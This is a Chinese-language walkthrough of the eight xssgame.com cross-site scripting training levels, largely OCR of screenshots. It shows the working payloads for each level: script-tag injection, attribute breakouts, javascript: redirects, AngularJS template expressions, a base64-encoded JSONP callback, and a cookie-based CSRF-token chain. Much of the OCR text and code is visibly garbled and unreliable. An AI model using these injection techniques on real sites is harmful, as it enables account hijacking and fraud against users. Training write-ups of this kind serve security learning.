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Congratulations, you executed an alert

g5

fxss,

You can now adfence to the next level

trates a common cause of XSS where user input is directly written to the page without propej

= application window below and find a way to make it execute JavaScript of your choosing.
inside the vulnerable window or directly edit its URL bar.

nter an input that will cause the application to execute the alert() function inJavaScript.

alert, the solution will be validated on the server side, and you will be able to advance to the
e solution shouldn't require user interaction — opening the URL should be enough to trigger

k!
URL |http:/ /fwww. xesgame. con/f /mdEEGHI 2y VN /Y query=dscriptralert (/ras/) {/2cripts

Foogle

Sorry, no results were found for . Try again.

Level solved! Click here to access the next level,

0x02: FE 3K

Time's out!

Every bit of user-supplied data must be correctly escaped for the context of the page
in which it will appear. This level shows why.

Enter an input that will cause the application to execute the alert() function in
JavaScript.

URL |http:/fwww. xezgame. con/t WrfpulFRRCHr / G0

webtimr pro

|-cscripl:-alent.'m‘3.f}cﬁscripl:- Craate timer

BEH USR], TR RN X T BARAITER i <script>alert(/xss/)</script>ifi&



www.xssgame.com 57

Time is up!

URL |kttp:/ fwww. z25gans. con/E /VrfpulFXBaNr /T tiner=< scxipt>alert(/xzs/){/script>

webtimr pro

Your timer will execute in seconds.
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BERIMERNER, RESRARNBANREIE, FonloadZE 4 BiH, A RMATH AT LAAE FH <script>FRrZE 5k 7] LA
EEBME KRR T BATE BN +alert(/xss/)+' iXFfonload#t 2Rk 70 F

onload="startTimer("+alert(/xss/)+"),"

startTimerfE AT RIS R, HSHR-ARER, BaslLHEREXNE, JHEREANENREK, Be
HEHATalert(/xss/)ix—4), REMSHE T
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Congratulations, you executed an alert:
Jxss/

You can now advance to the next level.

0x03: =X EREFRF

Gallery

Complex web applications often generale 5 of their Ul in Jav, Some common JS funclions are
execution sinks, which means that they will cause the browser 1o execute any scripts that appear in their input.
The application on this level is using one such sink.

Slnce you can't enter your payload anywhere in the application, you will have to edit the address manually in the
URL bar provided. The goal s to exploit a vuinerability in the application tosmake it execuls the davaScript aleri()
function.
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cat 1 ] HWm 0 ms Bl

MName Status
whr D TsXrmy VI 200

| level stylecss 200
jquenyZ minjs

s framejs

= catljpg 204

_ O TRy 200

BESREXSS, IBABMBME — T BRI

MName ¥ Headers Preview Response  Cookes  Timig

|| ubreDismuis 12 I (window.ceval ldatborready ) {

- 13 11dat 1 orirwidy] )

teval.sfbe s 14 uindow, cnvalidationready = null;

|| jopuery2 ming 5 K

L js_frame js = B
17 I

= catljpg

WO DTE ) s function choosaTan(nawa) {

o var fiml = “Cat " + parselnt{name) « "<bra”;
i | R e e R Lo |
12
' document, getElement By ldl " tabContent” ). innerHTAL = html;
d #¢ Select the current tob
6 var tabs = docwment,querySelectordll(’ tab’);
7 for (var 1 = 8; bs.length; f++) |
iF 2 )]
% t
16 ]«
1 tabs[L)

wirdou. location hash = name;

A7 Tell porent we've chonged the tob
top-postiessage( | url': seld. location.woString(}}, “* )
}

1 function hashchange{} {
a2 if [aelf, location.hash) {
13 chonseTab[yelf. location. hesh, subatr(11);
ad wvalidaze{);
} owlew |

) sl |
48 choaseTab{1);

FEX AR ARSIESBEANE R #, HAchooseTab(name)iZ#nameit ZurlH )1, 2, 3 4 HREK=kKE
A EX Enameti EEPHER T imghr B B, XHERMMNZRAEZEAHE T, RIMTRAFBELS - NMAEENE
R, 5 EF FHonerror AT AL E T 19 payload i T :

4' onerror="alert(/xss/)'
PHERE 5 HimghR 8 T

<img src="/static/img/cat4' onerror="alert(/xss/)' + ".jpg' />

www.xssgame.com TR t

Congratulations, you executed an alert:

Jxss/

You can now advance to the next level.
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Google Reader

Cross-site scripting isn't just about correctly escaping data. Sometimes, attackers can
do bad things even without injecting new elements into the DOM.

The goal is again to exploit a vulnerability in the application to make it execute the
JavaScript alert() function. It is important that the solution shouldn't require user
interaction — opening the URL should be enough to trigger the alert. Also note that
the alert() should pop up on the challenge domain — redirecting to your own web
page and alerting there doesn't count as valid solution.

URL ihtt;p = fwwe, xazgame, condf S S8alwgqigl/

Welcome! Today we are announcing the much anticipated

o

A LRI S ) U E A domye Rt /] LMESR 3, WARBERNENTRMH#E KNS, — B2 EEIA Kjs
BRECRIAT)s, R IRE T —AEER, PRER AR LBEE.

FHEE, miisignup, FHEA—ATHEH, ZERBAEAABFE

Enter email:

=| google...
Bt
vl

| sigrigp...

<haads

rel="ytylestaat”
t sro=" static/]s

href==iutaticfoun/level_style.can® f»
{3s_frome.Js"xc scripts

RARHEA AU AT, mdinext/sBk# 2l confirmit i

Welcome! Today we are announcing the much anticipated [w ﬂ_l Elemnents Consg
® 8 =Y O ve
= Itesr

‘ O ()8 | 200 ms 400 ms 0
Reader 2.0
MName & >

googlereader.png

Sign up for an exclusive Beta. | js_frame,js
| b style.css
| welcome

B RAULZE confirm R =4 T — Wt E 23 TwelcomA [, BESBERRAFIRITEER, BAFEER
1R AT REFIIX AN B 2 [ fjsH 5% A2 RAIHE — T confirmBT H A ELIE, confirmREA —NEEM, BrARA]
1B B B T RVERS, (ERIRATAT LLE IS view-source ) 75 1 R 3815 T T VRS FRATLE 3 e 254\ :

view-source:http://www.xssgame.com/f/__58a1wgqGgl/confirm



182 T JRAD :

<html >
head>
script sre="/static/js/is frame, j="»</script>
</head>
{body style="background-color: white;”
{center>
(img src="/static/img/googlereader—logo. png” /><bri<brs
Thanks for signing up, you will be redirected scon...
‘script
setTimeout (function{}] 1 window. location =", { 10007 ;
</script
‘fcenter?
Shody>
</html>

HA Ejwindow.locationii 2 B 5€ A Bk I T, AR B R Pnext=cHIExx, A4 FRATA] LA A javascript: P i
CRAEXANII T L E CEE—T) RIENEE BANEnextEN:

javascript:alert(/xss/)
# 4 confirmIT LA AR T -

window.location="javascript:alert(/xss/)'

) W S 0AME.COM/T 582 TwaaGod confiim Tnest = javascriplalert s

B = wEdieE i - e L BEFE ERTRTE —
wwwassgame.com B

Congratulations, you sxscused an den.

. +
frxsy

1]
B i 1 - | o
“Hame
|| confirminext=javascriptalen(ies)
Js_framegs

o] googleresder-logo.pag

1ks for signing up, you will be redirected soon...

vel solved! Click here to access the next level.
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Angular

Angular is a very popular framework that has its own set of rules when it comes to
securely developing applications. One of these is that you should be careful when

modifying the DOM before Angular's templating system runs.
This challenge demonstrates why this is important.

The goal is again to exploit a vulnerability in the application to make it execute the
JavaScript alert() function.

Hint

URL |http://www. xssgame. com'f/JFTG_t Tt 3N-P. Go

El‘\ ﬂlﬂ

NIFF 46 %F 2] —NAngulargi 28 2] T Angular (Angular@is? B EHEER) YHEkE, REEW LT ARA K
payload, R RKIXEDIALFEAQulardFERERK . » « BMEFHE, H7EAngular ER RAEBITRIEH
DOMRLZ/N L. WG ERAEL, S6F Tjstlig

srL="FStatlc/ 5/ 55 _Frame. J87 </ s0ript>
sroe"/ A an, groglespis. confafan 1ibs fangulasis /1. 5. 6 angular . min. Js s seripns

. Funetion ($scope)
var UTH_PARAMS - I T il T &
“utm_caap
i1f (location,search)
r
{
Yar parars = location,search.substeing(l). split) &' );

for (var p In params) |
ar ¢ o= parans[pl.split{'="3;

1f {r.length == 2 &B UTM_PARAMS. indexOf({r[@1} |- -1} {
sar @l = document . gettlesentsByName(r[8]);
1+ {el.length} el[@].value = decodeURIComponent(r[i]);




<script>
angular.module('myApp, [])
ontrolIer('myControIIer', ['$scope’, function ($scope) {
$scope.query ="
$scope.alert = wmdow.alert;

1),

var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
"utm_campaign", "utm_term"]

if (location.search)

{

var params = location.search.substring(1).split('&');

for (var p in params) {
var r = params[p].split('=");

if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) !=-1) {
var el = document.getElementsByName(r[0]);
if (el.length) el[0].value = decodeURIComponent(r[1]);
}
}
}

</script>

LURBEREXBRRETET M — mAngular, FJLARERSERESS]—
T http://www.runoob.com/angularjs/angularjs-tutorial.html

TR B T X BsARAD B X T — AN UTM_PARAMS AR5 24 Sl diisdls, PATIFRE KIE6) paramsZ ¥
urlh igetS BB RO PR EAESA T, tin?a=1&b=28&c=38t2 Bk T [a=1,b=2,c=3] R/ NforfE¥F, KK

HEAPRITER, REERESHEAA, wa=12R[a,1] BATTLER], #HNT—MF4E012H4A
UTM_PARAMSETH I TE, TMr[0]% B IERgetZ B KIS H 4 Witk g 1R Eurli# s 5 R E 4id 0]
{ahTv

F)?U\IXJ\_)@TJME Wi T {01 BN A 1.r{O0]fE SR B THHUTM_PARAMS 2.r0]2 — N getZ#, HAAr1]&H
EH % id 2 r[O] I F5%

UTM_PARAMSHIfE A~: ["utm_content", "utm_medium", "utm_source","utm_campaign", "utm_term"] Ril4F 1% &
FHidAutm_termflutm_campaignfIFrss, AT LS X AR FE R —NRE SR E

xlength="148" ng-model="query” placeholder="Enter query here..."»

M l n" value="cpc™
<input 1id "oemoz utton” type="submit® value="Sear ch

</ Form>
<ps¥ou have {{148 - quary.lengthl} characters left.</p>

angularjsF{{ expression }}EI{{FZ R} K #A4Tjs, {{expression}} A FBAEscripthrZEH Fr AFRA AT LA
{{alert("xss")}}k# & payload:

?utm_campaign={{alert("xss"}}
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0x06: 2Bk

Angular 2

wula

You have 140 characters left

J 55 ¥ 42 FRhtml @ BtAngular iz s HSLIXE B8 TRA, BETHASKwrite up, Ad—HEXHAN
H A ZREES. AidJE T IE R ARE T

s, BkssimeEphtml, A4 html— 2 2l AR K HHE LR (POSTH ABEGETH R , Al
FENXFEMA—NsHBE, RERK:

Seany
Vions buros V0] ¢hiagaacbins

STy, e IESilts were Hoin 10¢ <50 pte SR Ssd < seripts e

.
e

'] Bk snemdpbgh  abert Linse SB1k; Can-ipbigty

KPscripthr s I8 T M2 BATEER E—B—+¢, F{{alert("xss")}}, AT RIR:

Sormy, no results were found for {aleniass™)).

Iorr fnla, anidnia |

;

MG SHELIE T, BF, BIATAHRG S, FATH{{alert(1)}}

o frama.
[T



Yious hawe 180 characters left.
MNsTE & M Heados  Previed  Respome  Cookies  Tamiag

Sarry, na results were found for Halsr(11i). angids b 5+%ou have ({40 - quary.dengtn]) charactars late.s/ps

toagep. |

5. brame. rg-nas-bindablesSorry, so rewslis were found far sbsf (alart{L}] e b o fpa

B, , , WEMNREHRER, ZPLLRAE#ERZEAXEMEH T ng-non-bindablets 4
EXHAEE

ng-non-bindable IE<ETER Angular)§ Z51% HTML TREHEHT TR FRERE.
iBiE
<element ng-non-bindable></element>

BFERT HTML TEEiFEES,

SH(E

IEEERIE.
2R TR L E TR A KN AN S Angular S
B RARE X BEORIE B RATHM B RIRAN KRBT, scripthnEk L ikgmid, XA BEiTangularjs
BERPOSTAMT, AATAMTAT AR —IRAGET A url)f5 i hn

?test=123

FEEFEEN—FEBIT, form* HBifaction)&d 1 IE K& FATurl i B3R T 2 %

3 s oA Tieii= 11

[ WK EE | wEdS | e | WE O EWEA | KTT | BACASE  Rusl || FEEYE MRS | e Ba 0T AR
||‘"I

e Cowcs Souren  Metwok  Fedorancs  Memsn  dppliesen  Seudh Audh
Fo I Ie @5 =Y O Ver B % Goaeby et Presenve op L Dogatle ache Ofine Drie
e P i e i
—
'¥ious have: 1450 charachers left.
Mare
LI hen=ia3
g
fogep.
juframa

T 1X B #: 4 ng-non-bindabled 4, F7 LABRATTHL AT LA F {{alert(1)}} T

L v LA | 1200 Hotma 5300 mu 4200 ma 5300 608 ma
140 characters left.
Hame & MW Headers Preview Resporse  Cookies  Timing
= cieg sece- fstavic iag/foogle. pg
P e
- cfore {47 eHbdngerd (astealertil) ] sethod-PUST-
fongiep <l emod - quiTy " Sase q ey ey ue wodel="gury” |

de"dumed-button” type="subml alu s na

ERBATRIABAVN ("B UE T (B RIX BIRATAT LU {0 L) 24 L RF{RHE payload:
?test={{alert(1)}}
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You have 140 characters left.

Mame & Eratug

Iwed! Click here to access the next level. rest=Aloub;&cubiatert(111) 200
angulas.mins
| foogle.png
| js_framejs 34

0x07: %’h%

X585, Bul il's not a silver

This challan
The goal is again o
L]
URL |brt s/ v, wss games con ' SonOi2 geipriasy

About Me Cats Dogs

Welcome to my Website!

FEFICSPHLsEXE MR e R ELECSP (WA LK) Kbypass T CSPRMHAXEMABERT, fHHK
VLR — Pt s B BRI B 4 5, RERF-ECSPREE & S 5 1 BRI A Be i in# A s CSPRwT L £
MDN_LHE#EE: https://developer.mozilla.org/zh-CN/docs/Web/Security/ CSP

BAN%E— TXEEKCSP

¥ Headers Preview FResponse Cookies  Timing

v General
Request URL: http: [ /www. xssgame . com/ f/umM258 1025/ Prenu=Yulvd k=
Request Method: GET
Status Code: & 700 0K
Remote Address: 127.9.2.1:1861

Referrer Policy: no-referrer-when-downgrade

* Response Headers 2 SOUrCE
Cache-Control: no-cache
Connection: close
Content-Encoding: gzip
Content-Length: 393

IContent—sa:urity-Pnllty_ default-src http:/ fwww. xssgame . con/ fwmM2q5NINZS) http:/ fwww . xssgame. com/static/ ]

Content-Type: text/html; charsetsutf-3
Date: Sun, 24 Jun 2018 16:15:13 GMT

Proxy-Connection: keep-alive

/1l
default-src http://www.xssgame.com/f/wmOM2g5NJnZS/ http://www.xssgame.convstatic/
MERMNFE RSN, TREEEE WAVEG:



® Headers Preview  Response  Cookies  Timing

1 <html>

2| theads

] escript sres®/static/§s/Js_frame.{s"»<fscripes
4 «fheads

<body aligns"center™ bplolors white™s

4@ hegf="maniu="WlvdX=">about Med/as

L] &l-- Image sousce: MLTPs://pixabay . Comfen/construction-sately-site-banner- 1174806/ License: Publlc Domain --»
9 ¢a href=" tpanu=Y2FBCw=="2CaT5¢ 8>

18 ¢l-- Image source: RLLps://pixabay.cod/en/cat-red-christeas-santa-hat-funny-1698512/ License: Public Domain -->
11 <l-- Image source: hittps://pixabay.com/en/cat-kitten-cute-funny-whiskers-1686738/ License: Public Dosain --»
12 <a href="2nenu=IGO9ncw=="1+Dogs</a>

13 ¢l-- Image source: https://pixabay.com/en/goggles-dog-canine-pet-vacation-1472479/ License: Public Domain --»
14 ¢1-- Image souwrce: hitps://pixabay.com/en/dog-sidecar-sunglasses-funny-171773) License: Public Domain -->

15 dscript sroe=®/static/js/level?. Js"»</scripts

1E o« fhady »

L7 < /him)»

=B, I T level7 js, HABRMNBYHSEEFElevel? js

X Headers Preview  Response  Cookiss  Timing

1 )‘.Iu

2| " Ask server side whot to display.

3| =

4| function main{) {

5 var m = location.search.match{  menu=(."}'});

war menu = m 2 atob{m[1]) : ‘abouwt";

document .write{ "<script src="jsonp?menu=" + encodeURIComponent(menu) + "“»¢fscript»’);

18| soe
11 * DMzplay stuff returned from server side,
12| * gparam {string} date - JSON dato from server side

13) ¥/

14| function callback{data) {

15 if (data.title) decument.write('<hl»' + data.title + “</his’);

16 if (data.pictures) data.pictures.forBach{function{url) {

17 document.write{ "<img src="/static/img/" + wrl + "“rcbrachrs'});
18 hi

19 ¥

2@

21| maini);

22

level7 jsi& XL T BN %, mainflcallback maingk £ iE W UL ECurlH () 2 menui{E, BEZm WRmA Anull,
4 K mir B baseb4 R IR E L menu, A )5 ¥ menuit 1T urlZmts J5 15 8 S Hmenu i) {E1£ N\ jsonp L callback A

F 038R 7 Ftitle A picture

NEjsonplI AT LAE T 3 S #HHE B X TjsonpI#FE:  http://www.runoob.com/json/json-jsonp.html FAIRKE T iX
ANjsonp T T =

Headers Preview BResponse Cookies Timing

1 callback({"title":"Welcome to my Website!","pictures™:["const.png"]})

HLiRIF#E#: callback B i Htitle FIE 8L 2 AT & T title, picturessi 2 T HARTKE F L in RBEATIEFE
Cats



About Me Dogs

Cats

A4 X B jsonp R ET B AR R T

X  Headers Preview Response  Cookies  Timing

1 callback({"title":"Cats","pictures”:["cat2.jpg","catd.jpg"1})

HT, MUEHEOHREXET, WAXERZEAHL? emmmm. . o HSXIEB EEH KR jsonpHIEA

jsonpiE AN RAMT 2 5BIE? KT jsonpiEANF] IS 2 &% 1K L E:
https://www.anquanke.con/post/id/85382

BATIX B jsonp A 7E I — AN 17 Rk &2 B B B AT 4% EL an3RATI7E jsonp T T 45 getS Hcallback R B K 2 8 B A
jsonpTiTH, W

VT s Qame.C omy' 1w +
-1} ks BESE witnp = TR BT AFe Rz SN = oo " el
¥ " Hoswec
b= 1 v it

----------




A4 AT AT Ui jsonp?callback=.... R ENEBMIARE T, WRXA T KRB AEsRPATHE, 84
AT LSRN E W T TE Y4BT B E R A RBAIENSZEITH, AR RAITGEER B RmAT
<script src=xoc>#1X B ooz Ajsonp?callback=.. . BiEEB AT EAIMjs T MNIGFRATX BH — NS Hmenu
TR, T Emenuff{E £ i3 base64#E 1Y 5 £ T BN 3 1 i

-
function main{) {

var m = location.search.match( menu=(.")");
var menu = m ? atob{m[1]) : "abowt’;
document . write{ ' <script src="jsonpimenu=" -|En:udEURICumpnnent{rrcnuJ # ""xgfecripts’);

}

AR FRATT AT DASZ 3T B 2 T B N -
<script src="jsonp?callback=alert(1);//'></script>
R )5 ¥ Hbase64%w 5 J5 £ 452 $menu

<script src="jsonp?callback=alert(1);//'></script>
base644mi%J5 A :
PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJOKDEpOy8vJz48L3NjcmlwdD4=

) wanwassgame.com,T wmOh 2o 5 nZ S P menu =P HMNjombad CBzemibd0) 2 peiZ S 2N hbGad W riPWFsZXO 0K DEp Oy Bu n4BLIMjcmiwd D4

im = BERs writeup = i L EDFE THIETE —
WAL game.com T

Level solved! Click here to acoess the next level. ¥ congratstations, you sxscuied an slert
About Me Cats Dogs I ",
— Yo can now scdvance 1o the nesd bewel, |
Efrﬂr, no such menu: = |
Maire Status
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<!doctype html>
<html lang=en>
<head>
<meta charset=utf-8>
<title>Simple Wire Transfer</title>
</head>
<body bgcolor="white" align="center">
<h1>Foogle Bank</h1>

<script src="/staticl/js/level8.js"></script>
<script src="/staticl/js/js_frame.js"></script>

Please set your name (optional):

<form method="GET" action="set">

<input type="hidden" name="name" value="name">

<input size="30" name="value" placeholder="Please specify your name">
<input type="hidden" name="redirect" id="redirect" value="index">

<input type="submit" value="Set">

</form>

<br>

Wire transfer:
<form method="GET" action="transfer">
<input size="30" name="name" placeholder="Recipient">
<input size="5" name="amount" placeholder="123">
<input type="hidden" name="csrf_token" id="csrf_token" value="">
<input type="submit" value="Send">
</form>
<br>
</body>
</html>
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* Read cookie.

* @param {string} name - Name of the cookie

* @returns {string} Cookie value

*/

function readCookie(name) {
var match = RegExp('(?:4;)\\s* + name + '=(["]*)'").exec(document.cookie);
return match && match[1];

}

var username = readCookie('name’);
if (username) {
document.write('<h1>Welcome ' + username + ''</h1>");

}

document.addEventListener("DOMContentLoaded", function(event) {
csrf_token.value = readCookie('csrf_token");
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Wire transfer:

aaa |test Send

The amount should be an integer value. In this request the value is thig test

Back to the opening. page
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v Response Headers View source

Cache-Control: no-cache

Connection: close

Content-Encoding: gzip

Content-Length: 228

Content-Type: text/html; charset=utf-8
Date: Tue, 26 Jun 2018 13:22:26 GMT
Proxy-Connection: keep-alive

Server: Google Frontend

Vary: Accept-Encoding
X-Cloud-Trace-Context: 1217bc82be398358f4ecT@7f5bb194dd4 ;0=1
X-X55-Protection: @
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<script>alert(1)</script>
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You executed an alert, but the server side validation of your
solution failed. It probably means that your solution requires user
interaction, or is not generic enough to work for a different user.
Please try to make it work without user interaction and generic
enough so that it works for any user. It might also be caused by
the use of absolute URL references - please avoid those.
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set?name=csrf_token&value=test&redirect=transfer?name=aaa&amount=<script>alert(1)
</script>&csrf_token=test
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set?name=csrf_token&value=test&redirect=transfer?name=aaa%26amount=<script>alert(1)
</script>%26csrf_token=test

ftransferiname=aaadamaount=<script>alert{1) </script>&wcsrf_token=test
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Congratulations, you executed an alert:

= You can now advance to the next level.
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	0x00前言
	前两天打sctf的时候有一道题是考的AngularJS的xss，当时看了队友写的write up也没搞太懂，深感自己xss方面太过薄弱，然后看到队友write up中提到了这个xssgame，刷了下感觉题目的质量还是很不错的，循序渐进，而且对于像我这样的小白可以学到不少知识 这套题目一共8关 题目地址：（需科学上网食用） http://www.xssgame.com/   0x01：第一关       这可以说是很贴心了，题目直接说了用户的输入会没有任何过滤直接输出到页面上 那么我们直接<script>alert(/xss/)</script>就可以了


